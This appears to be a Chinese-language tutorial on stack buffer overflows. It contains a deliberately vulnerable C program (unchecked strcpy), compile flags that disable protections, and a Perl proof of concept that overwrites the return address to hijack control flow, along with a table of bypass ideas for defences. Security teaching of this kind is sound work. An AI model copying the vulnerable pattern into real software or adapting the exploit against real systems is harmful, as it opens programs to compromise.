緩衝區溢出是指程序向緩衝區寫入數據時超出其邊界,導致相鄰記憶體被覆寫。按發生區域分為堆溢出和棧溢出,本文聚焦棧溢出原理與利用。
三個關鍵寄存器:
// 調用者
push 參數2
push 參數1
call callee ; 相當於 push EIP; jmp callee
// 被調用者(函數序言)
push EBP ; 保存舊棧幀
mov EBP, ESP ; 建立新棧幀
sub ESP, N ; 分配局部變量空間
此時棧佈局(高地址 → 低地址):
[參數2] [參數1] [返回地址 EIP] ← 關鍵目標 [舊 EBP] ← EBP 指向這裡 [局部變量...] ← ESP 指向這裡
leave ; 相當於 mov ESP, EBP; pop EBP
ret ; 相當於 pop EIP
void copyCmds(char* str) {
char buff[6];
strcpy(buff, str); // 無長度檢查,經典漏洞
}
void hack() {
printf("Hi, I am hacking\n");
}
int main(int argc, char** argv) {
if (argc != 2) return 0;
printf("copyCmds = %08x\n hack = %08x\n", copyCmds, hack);
copyCmds(argv[1]);
return 0;
}
buff[6]、舊 EBP,最終覆蓋棧上的返回地址。hack() 的入口地址。copyCmds 執行 ret 時,彈出被篡改的地址,跳轉執行 hack()。
gcc -g -m32 -fno-stack-protector stack.c -o stack
$ ./stack hello
copyCmds = 08048444
hack = 08048478
需填充:buff[6] + EBP(4字節) + 新返回地址(4字節) = 14 字節起跳。實際偏移需通過調試確定。
使用 Perl 生成含十六進制地址的參數(小端序):
$arg = "aaaaaaaaaaaaaaaaaa" . "\x78\x84\x04\x08"; # 0x08048478
$cmd = "./stack " . $arg;
system($cmd);
$ perl hack.pl
copyCmds = 08048444
hack = 08048478
...
Hi, I am hacking
成功劫持控制流,執行了本不應被調用的 hack()。
| 防禦技術 | 原理 | 繞過思路 |
|---|---|---|
| Stack Canary (GS/SSP) | 在返回地址前放置隨機值,函數返回前校驗 | 信息洩露讀取 Canary、格式化字符串漏洞 |
| ASLR (地址空間佈局隨機化) | 隨機化棧、堆、庫基址 | 信息洩露、部分覆蓋、JIT 噴射 |
| NX/DEP (不可執行棧) | 棧內存標記不可執行 | ROP (Return-Oriented Programming)、ret2libc |
| PIE (位置無關可執行文件) | 代碼段也隨機化 | 同 ASLR 繞過 |
$ gcc -m32 stack.c -o stack # 默認開啟 -fstack-protector-strong
$ ./stack `python -c 'print "A"*20'`
*** stack smashing detected ***: terminated
Aborted (core dumped)
strcpy、gets、sprintf)。strncpy、snprintf),啟用編譯器保護,遵循最小權限原則。